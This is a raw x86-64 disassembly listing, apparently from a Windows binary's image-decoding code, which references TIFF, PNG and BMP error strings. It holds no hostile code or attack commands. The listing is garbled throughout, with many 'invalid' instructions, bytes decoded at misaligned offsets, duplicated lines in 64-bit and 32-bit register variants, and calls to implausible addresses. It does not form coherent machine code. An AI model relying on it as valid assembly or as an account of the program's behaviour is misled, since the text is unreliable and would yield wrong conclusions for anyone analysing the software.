lea rax, [0x140289b70]
lea eax, [0x140289b70]
add eax, 0x244bcb
mov r8d, 4
mov eax, 4
mov rcx, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
call fcn.14002b6a0
nop
invalid
add rsp, 0x38
add esp, 0x38
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, case.0x140059243.0
adc eax, 0x244b9d
mov r8d, 4
add rsp, 0x38
invalid
cmp byte [rax - 1], cl
jmp rax
jmp rax
loopne 0x140045025
sub rsp, 0x38
sub esp, 0x38
in al, dx
cmp byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs rax, 0x8000000000000000
add byte [rax + 0x48013348], al
cmp eax, 4
xor rax, qword [rcx]
cmp rax, 4
mov r8d, 2
cmovb r8, rax
cmovb eax, eax
cmovb eax, eax
ror byte [rax - 0x73], 5
mov dh, 0x6b
invalid
and al, 0
lea rax, [0x14028bbb8]
imul esp, dword [rax + rax], 0x4e
invalid
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
jmp rax
jmp rax
loopne 0x140045055
add rcx, 8
add ecx, 8
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, str.Exact
add eax, 0x1b7e8d
lea eax, str.Exact
add eax, 0x1b7e8d
jle 0x140045045
add byte [rcx - 0x48], al
add eax, 0xeb000000
add byte [rax], al
jmp 0x14004509b
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, fcn.140009390
mov r8d, 5
add byte [rax], al
jmp 0x14004509b
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x1401fcee4]
lea eax, [0x1401fcee4]
mov r8d, 0xd
jmp 0x14004509b
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x2209b7
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, case.0x140059243.1
mov r8d, 7
add rsp, 0x38
jmp rax
add rcx, 8
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, fcn.140009390
push rsp
sbb eax, dword [rax]
mov qword [rsp + 0x20], rax
lea rax, str.NamePathExtension
mov r8d, 4
mov rcx, rdx
mov rdx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
invalid
cmp bl, al
invalid
movzx eax, byte [rcx]
lea rcx, [0x140289f98]
mov r8, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
lea rcx, str.PngBmp
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
ror dword [rax - 0x75], 0x4a
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
ret 0xff49
invalid
sbb byte [rax - 0x77], cl
ret 0xff49
mov rax, rdx
mov rcx, qword [rcx]
lea rdx, [rcx + 0x20]
lea r8, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [r8], rdx
mov dword [rax], edx
lea rdx, fcn.140009390
mov qword [rsp + 0x50], rdx
push rsp
and al, 0x50
push rsp
and al, 0x50
mov qword [rsp + 0x48], r8
and al, 0x48
lea rdx, str.kind
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x38], edx
lea rdx, fcn.14003f222
lea edx, [0x1401fcd00]
adc eax, 0x1b7bcc
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 4
mov qword [rsp + 0x20], 6
and al, 0x20
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1b50e1
and al, 0x20
invalid
and byte [rsi], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1b50e1
loope 0x1400451a5
sbb eax, dword [rax]
lea r9, [0x1401fccf6]
mov r8d, 0x10
jnp 0x140045178
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
mov rcx, rax
call fcn.14002b490
invalid
nop
shr eax, 0x24
invalid
invalid
call qword [rax + 0x68c48348]
add rsp, 0x68
ret
mov rax, rdx
mov rcx, qword [rcx]
invalid
ror byte [rax - 0x75], 1
or dword [rcx - 0x48], ecx
cld
movabs r8, 0x7ffffffffffffffc
jg 0x1400451d3
add r8, qword [rcx]
add eax, dword [rcx]
cmp r8, 3
mov edx, 1
cmovb rdx, r8
test rdx, rdx
je 0x1400451c4
cmp rdx, 1
jne 0x1400451eb
lea r9, [rsp + 0x30]
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
or eax, 0x1b7bb8
mov qword [r9], rcx
lea rcx, fcn.140009390
mov qword [rsp + 0x20], rcx
lea rdx, [0x1401fa4b9]
lea edx, [0x1401fa4b9]
lea edx, [0x1401fa4b9]
adc eax, 0x1b52fd
sbb eax, dword [rax]
mov r8d, 6
jmp 0x140045210
add bl, ch
add rcx, 8
add rcx, 8
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rcx, fcn.140009390
or eax, 0x1b7b71
jno 0x140045250
sbb eax, dword [rax]
mov qword [rsp + 0x20], rcx
lea rdx, str.Color
mov r8d, 5
jmp 0x140045210
add rcx, 8
lea r9, [rsp + 0x30]
invalid
ror dword [rax], 0x4c
lea ecx, [rsp + 0x30]
invalid
or byte [rbp + rcx*4 + 0x4c], cl
and al, 0x30
invalid
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
or eax, 0x1b52c2
mov qword [r9], rcx
lea rcx, fcn.140009390
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea rdx, str.GenericFeature
mov r8d, 0xe
add byte [rax], al
add byte [rcx - 0x48], al
invalid
add byte [rax], al
mov rcx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
ret
mov ecx, dword [rcx]
jmp 0x140044fdc
std
invalid
invalid
std
invalid
sub rsp, 0x68
mov rax, rdx
mov rcx, qword [rcx]
lea rdx, [rcx + 0x18]
lea r8, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [r8], rdx
mov dword [rax], edx
adc byte [rax - 0x73], cl
adc eax, 0x1b7b55
invalid
lea rdx, fcn.140009390
add byte [rax - 0x77], cl
push rsp
mov qword [rsp + 0x50], rdx
and al, 0x50
mov qword [rsp + 0x48], r8
lea rdx, [0x1401fab66]
sbb eax, dword [rax]
lea rdx, [0x1401fab66]
adc bl, byte [rcx + 0x1b]
add byte [rax - 0x77], cl
sbb eax, dword [rax]
mov qword [rsp + 0x38], rdx
push rsp
and al, 0x38
lea rdx, [0x1401fcdb8]
mov qword [rsp + 0x30], rdx
jnp case.0x140041c42.99
add byte [rax - 0x77], cl
push rsp
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 0xa
and al, 0x40
or al, byte [rax]
add byte [rax], al
and al, 0x40
or al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x20], 4
add byte [rax], al
lea rdx, str.ParameterErrorinnerTiffSignatureNotFoundTiffSignatureInvalidImageFileDirectoryNotFoundInconsistentSizesEncounteredUnexpectedCompressedDataactual_bytesrequired_bytesInconsistentStripSamplesactual_samplesrequired_samplesInvalidDimensionsInvalidTagInvalidTagValueType
push r11
sbb eax, dword [rax]
lea r9, str.kind
mov r8d, 0xe
add byte [rax - 0x77], cl
invalid
add byte [rax - 0x77], cl
shr eax, 0xf8
invalid
call fcn.14002b490
nop
add rsp, 0x68
ret
sub esp, 0x38
movabs rax, 0x8000000000000000
mov eax, 0
add byte [rax], al
add byte [rax + 0x48013348], al
cmp eax, 4
mov eax, 0
add byte [rax], al
add byte [rax + 0x48013348], al
cmp eax, 4
mov r8d, 2
cmovb r8, rax
cmovb eax, eax
cmovb eax, eax
ror byte [rax - 0x73], 5
add al, 0x69
and al, 0
invalid
lea rax, [0x14028bbc8]
lea eax, [0x14028bbc8]
add byte [rsi + 0x63], cl
add al, 0x80
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1b7af7
sbb byte [rax - 0x73], cl
lea edx, str.DimensionMismatchFailedAlreadyGenericNoMoreDataDecodingErrorLimitError
adc eax, 0x1b7af7
mov r8d, 0x11
jmp 0x14004534f
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x1401fcdf6]
add eax, 0x1b7af2
mov r8d, 7
mov rcx, rdx
mov ecx, edx
mov ecx, edx
mov rdx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
add esp, 0x38
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1b7acf
sbb byte [rax - 0x73], cl
adc eax, 0x1b7acf
lea edx, [0x1401fcdfd]
mov r8d, 0xa
jmp 0x14004534f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fcde9]
lea edx, [0x1401fcde9]
mov r8d, 0xd
add rsp, 0x38
jmp rax
or dword [rax - 0x73], ecx
push rcx
and byte [rbp + rcx*4 + 0x44], cl
invalid
invalid
invalid
lea r8, [rsp + 0x60]
and al, 0x60
mov qword [r8], rdx
mov dword [rax], edx
lea rdx, fcn.140009390
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], r8
and al, 0x48
and al, 0x48
lea rdx, [0x1401fab66]
mov qword [rsp + 0x38], rdx
add byte [rax - 0x77], cl
push rsp
and al, 0x38
lea rdx, fcn.14003f222
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 0xa
mov qword [rsp + 0x20], 6
lea rdx, str.EncodingError
lea r9, [0x1401fccf6]
mov r8d, 0xd
mov rcx, rax
call fcn.14002b490
nop
add rsp, 0x68
ret
sub esp, 0x68
movabs rax, 0x8000000000000000
xor rax, qword [rcx]
invalid
add dword [rax - 0x7d], ecx
clc
add al, 0x41
mov eax, 2
cmp rax, 4
mov r8d, 2
cmovb r8, rax
lea rax, [0x14028bbd8]
lea eax, [0x14028bbd8]
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
add rcx, 8
lea rax, [rsp + 0x20]
mov qword [rax], rcx
mov dword [rax], ecx
mov dword [rax], ecx
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
lea rax, [0x1400450c7]
mov qword [rcx + 8], rax
lea rax, [0x140289c40]
lea r8, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [r8], rax
mov eax, 1
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rax
jmp 0x1400454e3
lea rax, [rsp + 0x20]
mov qword [rax], rcx
lea rcx, [rsp + 0x28]
and byte [rax - 0x77], cl
or byte [rax - 0x73], cl
and al, 0x28
mov qword [rcx], rax
lea rax, [0x1400450ac]
mov qword [rcx + 8], rax
lea rax, [0x1401fb478]
jmp 0x1400454c2
lea rax, str._Unknown_
lea r8, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [r8], rax
mov qword [r8 + 8], 1
mov qword [r8 + 0x10], 8
xorps xmm0, xmm0
movups xmmword [r8 + 0x18], xmm0
jmp 0x1400454e3
add rcx, 8
lea rax, [rsp + 0x20]
mov qword [rax], rcx
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
lea rax, [0x1401b7f1a]
mov qword [rcx + 8], rax
lea rax, [0x1401fb450]
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.140006275
nop
add rsp, 0x68
ret
mov rdx, qword [rbp - 0x38]
call fcn.14014b0fc
movsb byte [rdi], byte [rsi]
adc byte [r8], al
adc byte [rax], al
mov word [rsi], 0x1a
add rsp, 0x88
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
inc dword [rax]
je case.0x1400422a0.211
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
call fcn.14006095a
add dword [rax], eax
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rbp
ret
push rdi
push rbx
sub rsp, 0x98
add byte [rax], al
invalid
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10], 0xfffffffffffffffe
invalid
invalid
invalid
mov r14w, r9w
mov bx, r8w
mov rdi, rdx
mov rsi, rcx
lea r15, [rbp - 0x10]
jge 0x140046dc7
invalid
push 2
pop rdx
mov rcx, r15
call fcn.1401481de
lea r8, [rbp - 0x48]
mov qword [r8], r15
and dword [r8 - 8], 0
clc
add byte [rdi], cl
xorps xmm0, xmm0
movups xmmword [r8 + 8], xmm0
adc dword [rax + 8], eax
invalid
invalid
invalid
xorps xmm0, xmm0
movups xmmword [r8 + 8], xmm0
adc dword [rax + 8], eax
adc dword [rax + 8], eax
lea r9, [rbp - 0x30]
mov word [r9], r14w
shl byte [rsi + 0x45], 1
mov dword [rcx], esi
mov byte [rbp + 0xf], 1
mov qword [rsp + 0x20], 2
and byte [rdx], al
add byte [rax], al
add byte [rcx], dh
leave
and byte [rdx], al
add byte [rax], al
add byte [rcx], dh
leave
call fcn.140040413
test rax, rax
je 0x140046e34
test rdx, rdx
je 0x140046e34
mov qword [rsi + 8], rdx
mov word [rsi], 0x16
mov rcx, qword [rbp - 0x10]
invalid
mov rdx, qword [rbp - 8]
mov edx, dword [rbp - 8]
mov edx, dword [rbp - 8]
call fcn.14006095a
jmp 0x140046e8e
add bl, ch
pop rdx
add rdi, 0x10
movsx rax, bx
invalid
ret
lea rcx, [0x14028a0a0]
or eax, 0x24325d
movzx r8d, word [rcx + rax*2 - 0xa]
mov rax, qword [rbp]
lea r9, [rbp - 0x50]
mov qword [r9 + 0x10], rax
movups xmm0, xmmword [rbp - 0x10]
movaps xmmword [r9], xmm0
movaps xmmword [rcx], xmm0
mov word [r9 + 0x1c], 3
add eax, dword [rax]
mov dword [r9 + 0x18], 1
mov byte [rbp + 0xf], 0
str word [r8 - 0x73]
ror byte [r8 - 0x77], 1
cli
ror byte [r8 - 0x77], 1
cli
call fcn.140045e0c
mov rcx, qword [rbp - 0x30]
mov ecx, dword [rbp - 0x30]
ror byte [r8 - 0x75], 1
mov rdx, qword [rbp - 0x28]
call fcn.14014b0fc
push rbp
fsubr st(0)
jae 0x140046ec9
adc byte [rax], al
mov word [rsi], 0x1a
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax + 0x74000f7d], al
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax + 0x74000f7d], al
or eax, 0xf04d8b48
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
clc
call fcn.14006095a
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
sub rsp, 0x98
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10], 0xfffffffffffffffe
mov dword [rbp + 0x10], 0xfffffffe
mov dword [rbp + 0x10], 0xfffffffe
dec dword [rbp - 0x77]
mov r13, r9
mov bx, r8w
int 0x66
mov ebx, r8d
mov rdi, rdx
mov edi, edx
xlatb
mov rsi, rcx
mov r12, qword [rbp + 0x80]
add byte [rax], al
add byte [rax], al
lea r14, [r12 + r12]
lea r15, [rbp - 0x18]
lea edi, [rbp - 0x18]
lea edi, [rbp - 0x18]
call 0x18cfdf866
mov rcx, r15
mov rdx, r14
mov edx, esi
mov edx, esi
call fcn.1401481de
lea rcx, [rbp - 0x60]
invalid
invalid
mov qword [rcx + 8], r15
and dword [rcx], 0
and dword [rax], eax
movabs al, byte [0xf0021830879894c]
push rdi
ror byte [rdi], 0x11
adc byte [r9 + rcx*4 + 0x6d], cl
xorps xmm0, xmm0
movups xmmword [rcx + 0x10], xmm0
mov qword [rbp], r13
mov rdx, r13
add byte [rcx + rcx*4 - 0x16], cl
mov r8, r14
call fcn.140045507
mov r14, rax
movabs rcx, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x75], 0x55
invalid
invalid
add byte [rax], al
or byte [rax - 0x75], 0x55
add al, ch
call fcn.14014b0fc
call fcn.14014b0fc
test r14, r14
je 0x140046f68
invalid
or ecx, dword [rcx + rcx*4 + 0x76]
mov qword [rsi + 8], r14
or byte [rsi - 0x39], ah
invalid
mov word [rsi], 0x16
jmp 0x140046f76
add bl, ch
invalid
mov rax, r12
loopne 0x140046fb4
shr rax, 0x20
shr eax, 0x20
call 0x1a62be392
mov dword [rsi], 0x8b480018
invalid
sbb byte [rax], al
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
je 0x140046f98
mov word [rsi], 0x18
invalid
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
call fcn.14006095a
nop
add rsp, 0x98
add byte [rax], al
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movsx rax, bx
mov edi, 0xd8d48c3
sub eax, 0x44002431
lea rcx, [0x14028a0d0]
lea ecx, [0x14028a0d0]
or eax, 0x24312d
movzx r8d, word [rcx + rax*2 - 2]
movzx eax, word [rcx + rax*2 - 2]
add rdi, 0x10
add edi, 0x10
mov rax, qword [rbp - 8]
lea r9, [rbp - 0x60]
mov qword [r9 + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
adc byte [rbp - 0x18], al
movabs al, byte [0xe845100f10418949]
adc byte [rbp - 0x18], al
call 0x1412d7f02
movaps xmmword [r9], xmm0
movaps xmmword [rcx], xmm0
mov word [r9 + 0x1c], 3
mov dword [r9 + 0x18], r12d
mov dword [rcx + 0x18], esp
invalid
invalid
mov dword [r9 + 0x1c], 0x89450003
invalid
mov byte [rbp + 0xf], 0
str word [r8 - 0x73]
str word [rax - 0x73]
lea rcx, [rbp - 0x38]
mov rdx, rdi
enter 0xffffffffffff8948, 0xfffffffffffffffa
call fcn.140045e0c
mov rcx, qword [rbp - 0x38]
invalid
invalid
invalid
enter 0xffffffffffff8b48, 0x55
mov rdx, qword [rbp - 0x30]
call fcn.14014b0fc
push rbp
shr al, 1
adc eax, dword [rcx + 0x10]
add byte [rsi - 0x39], ah
invalid
invalid
invalid
mov word [rsi], 0x1a
jmp case.0x140039166.277
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax], al
cmp byte [rbp + 0xf], 0
je 0x14004701f
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
call fcn.14006095a
add dword [rax], eax
nop
add rsp, 0x28
invalid
invalid
pop rbx
invalid
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rdi
pop rbp
ret
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
lea ebp, [rdx + 0x80]
add byte [rax - 0x47], cl
add byte [rax], al
add byte [rax], al
movabs rcx, 0x8000000000000000
mov rdx, qword [rbp]
mov ecx, 0
add byte [rax], al
add byte [rax + 0x558b48], al
call fcn.14014b0fc
adc byte [rax], al
add dh, al
sidt [r8 - 0x7d]
sidt [rax - 0x7d]
mov byte [rbp + 0xf], 1
add rsp, 0x28
add esp, 0x28
sidt [rax - 0x7d]
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
or r14b, r15b
invalid
invalid
mov bx, r8w
mov rdi, rdx
mov rsi, rcx
lea r14, [rbp - 0x18]
push 8
pop rdx
mov rcx, r14
int1
ret
call fcn.1401481de
xor edx, dword [rcx]
adc dword [rax], edx
add byte [rax - 0x73], cl
ror byte [r9 + rcx*4 + 0x71], 8
adc byte [rax], al
lea rcx, [rbp - 0x40]
mov qword [rcx + 8], r14
and dword [rcx], 0
xorps xmm0, xmm0
ror byte [rdi], 0x11
invalid
invalid
ror byte [rdi], 0x11
adc r14b, al
invalid
invalid
mov byte [rbp + 7], 1
push 1
pop rdx
call fcn.14004719a
rol dword [rax], 1
add byte [rax], al
rol dword [rax], 1
add byte [rax], al
test rax, rax
jne 0x1400470e3
mov byte [rbp + 7], 1
lea rcx, [rbp - 0x40]
push 1
pop rdx
call fcn.14004719a
test rax, rax
je 0x140047108
mov qword [rsi + 8], rax
mov word [rsi], 0x16
invalid
invalid
add byte [rax - 0x75], cl
mov ecx, dword [rbp - 0x18]
or byte [rsi - 0x39], r12b
invalid
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
call fcn.14006095a
invalid
nop
add rsp, 0x90
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add rdi, 0x10
add edi, 0x10
xor r8d, r8d
cmp bx, 0x23
sete r8b
invalid
rol byte [rcx - 0x7f], 0xc8
sbb al, byte [rcx]
add byte [rax], al
or r8d, 0x11a
mov rax, qword [rbp - 8]
lea r9, [rbp - 0x40]
mov qword [r9 + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [r9], xmm0
mov word [r9 + 0x1c], 5
mov dword [r9 + 0x18], 1
mov dword [rcx + 0x18], 1
mov dword [rcx + 0x18], 1
mov byte [rbp + 7], 0
lea rcx, [rbp - 0x60]
mov rdx, rdi
cli
invalid
call fcn.140045e0c
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
mov edx, dword [rbp - 0x58]
call fcn.14014b0fc
mov word [rsi], 0x1a
add bl, ch
xchg esp, eax
jmp 0x1400470f9
mov qword [rsp + 0x10], rdx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
in al, dx
invalid
in al, dx
and byte [rax - 0x73], cl
invalid
stosb byte [rdi], al
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax], al
add byte [rax + 0x7400077d], al
or eax, 0xe84d8b48
mov rcx, qword [rbp - 0x18]
cmp byte [rbp + 7], 0
je 0x14004718e
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
call fcn.14006095a
invalid
nop
add rsp, 0x20
pop rbx
pop rdi
invalid
and byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rbp
ret
lea r8, [rcx + 8]
lea r9, [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
mov dword [r9], edx
mov ecx, dword [rcx]
mov edx, dword [rsi + 4]
push rsi
invalid
push rsi
add al, 0x48
mov dword [rsp + 0x20], 4
and al, 0x20
and al, 0x20
add al, 0
add byte [rax], al
invalid
mov qword [rsp + 0x20], 4
and al, 0x20
add al, 0
add byte [rax], al
invalid
add byte [rax], al
add al, ch
call fcn.140040413
push rdx
xchg edx, eax
invalid
dec dword [rax - 0x77]
ror dword [rax - 0x77], 0xd0
mov eax, edx
mov rcx, rax
mov rax, rdx
mov eax, edx
test rcx, rcx
test ecx, ecx
jne 0x1400471d6
mov qword [rsi + 0x18], rax
add qword [rsi + 0x10], rax
add dword [rsi + 0x10], eax
adc byte [rcx], r14b
xor eax, eax
ror byte [rax - 0x7d], 0xc4
xor byte [rsi - 0x3d], bl
ret
add rsp, 0x30
pop rsi
invalid
ret
cmp eax, dword [rcx + 0x68]
jae 0x140047212
mov rdx, qword [rcx + 0x78]
mov edx, dword [rcx + 0x78]
push rcx
js 0x140047233
imul rax, rdx
imul eax, edx
mov r8d, dword [rcx + 0x84]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x39], cl
invalid
invalid
cmp r8, rax
mov r9, rax
ror byte [rcx - 0x77], 0xc1
cmovb r9, r8
add rax, rdx
cmp r8, rax
cmovb rax, r8
ror byte [rcx + r13 - 0x38], 0x48
imul eax, dword [rcx + 0x70]
sub rax, r9
imul rax, qword [rcx + 0x70]
ret
xor eax, eax
ret
rol bl, 0x55
push rsi
sub rsp, 0x58
sub esp, 0x58
in al, dx
pop rax
lea rbp, [rsp + 0x50]
insb byte [rdi], dx
and al, 0x50
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
mov rdx, rcx
mov edx, ecx
cmp byte [rcx + 0x88], 0
mov byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp - 8], rcx
add byte [rax], al
add byte [rax], al
mov qword [rbp - 8], rcx
mov dword [rbp - 8], ecx
jne 0x14004724e
invalid
lea rcx, [rbp - 0x30]
call case.0x14003f54f.123
invalid
shr al, 1
xchg ecx, eax
add byte [rax], al
add byte [rax - 0x73], cl
shr r8b, 1
notrack jmp 0xcb4d724b
invalid
dec dword [rax - 0x75]
lea rcx, [rbp - 0x30]
call fcn.140045b88
mov rdx, qword [rbp - 8]
invalid
dec dword [rax - 0x75]
push rbp
clc
lea rcx, [rdx + 0x30]
xor al, bpl
xor al, ch
call fcn.1400455c1
mov rsi, qword [rbp - 8]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
push rsi
or al, ch
mov al, byte [rax + r8]
push 0xffffffffffffffe3
invalid
invalid
push rsi
or al, ch
mov al, byte [rax + r8]
mov rcx, qword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
add rsp, 0x58
pop rsi
pop rbp
jmp fcn.14008fcb1
sub byte [rax - 0x73], cl
push 0x50
lea ebp, [rdx + 0x50]
mov rax, qword [rbp - 8]
lea rcx, [rax + 0x30]
invalid
invalid
xor al, bpl
sub esp, ebx
invalid
call fcn.1400455c1
nop
add rsp, 0x28
invalid
invalid
call qword [rax + 0x28c48348]
invalid
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rsi, qword [rbp - 8]
mov esi, dword [rbp - 8]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.14008fcb1
add al, 0
mov rcx, qword [rsi + 0x18]
mov ecx, dword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
mov edx, dword [rsi + 0x20]
call fcn.14008fcb1
out 0x89, eax
add al, 0
nop
add rsp, 0x28
invalid
sub byte [rsi + 0x5d], bl
pop rsi
pop rbp
ret
sub rsp, 0x58
sub esp, 0x58
mov rbx, rdx
mov rsi, rcx
lea rdi, [rdx + 0x30]
lea edi, [rdx + 0x30]
lea edi, [rdx + 0x30]
mov r9, qword [rdx + 8]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x20], rax
lea r14, [rsp + 0x30]
mov rcx, r14
xor byte [rcx + rcx*4 - 0xf], cl
mov rdx, rdi
mov r8w, 0x1f
call fcn.140045c68
invalid
jmp 0x14f467308
mov bh, 6
jmp 0x14f467308
inc dword [rcx + 0xf]
mov bh, 6
invalid
cmp ax, 0x1a
cmp eax, 0x1a
jne 0x140047358
mov r9, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov eax, dword [rbx + 0x28]
mov qword [rsp + 0x20], rax
lea r14, [rsp + 0x30]
je case.0x140042142.88
xor byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov ecx, esi
mov rdx, rdi
mov r8w, 0x1e
invalid
invalid
invalid
mov eax, 0x35e8001e
jmp 0x14f467334
invalid
invalid
add al, ch
xor eax, 0x41ffffe9
movzx eax, word [r14]
call fcn.140045c68
movzx eax, word [r14]
cmp ax, 0x1a
clc
sbb dh, byte [rbp + 0x1b]
jne 0x140047358
jne 0x140047358
mov byte [rbx + 0x88], 1
mov rcx, rsi
int1
int1
mov rdx, rdi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.1400456b0
jrcxz 0x140047356
invalid
jrcxz 0x140047356
invalid
dec dword [rax - 0x75]
and al, 0x50
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov qword [rsi + 0x20], rcx
movups xmm0, xmmword [rsp + 0x32]
and al, 0x32
adc byte [rsp + 0x32], al
and al, 0x32
xor cl, byte [rdi]
adc byte [rsp + 0x42], cl
and al, 0x42
movups xmm1, xmmword [rsp + 0x42]
and al, 0x42
movups xmmword [rsi + 0x12], xmm1
movups xmmword [rsi + 0x12], xmm1
adc dword [rsi + 0x12], ecx
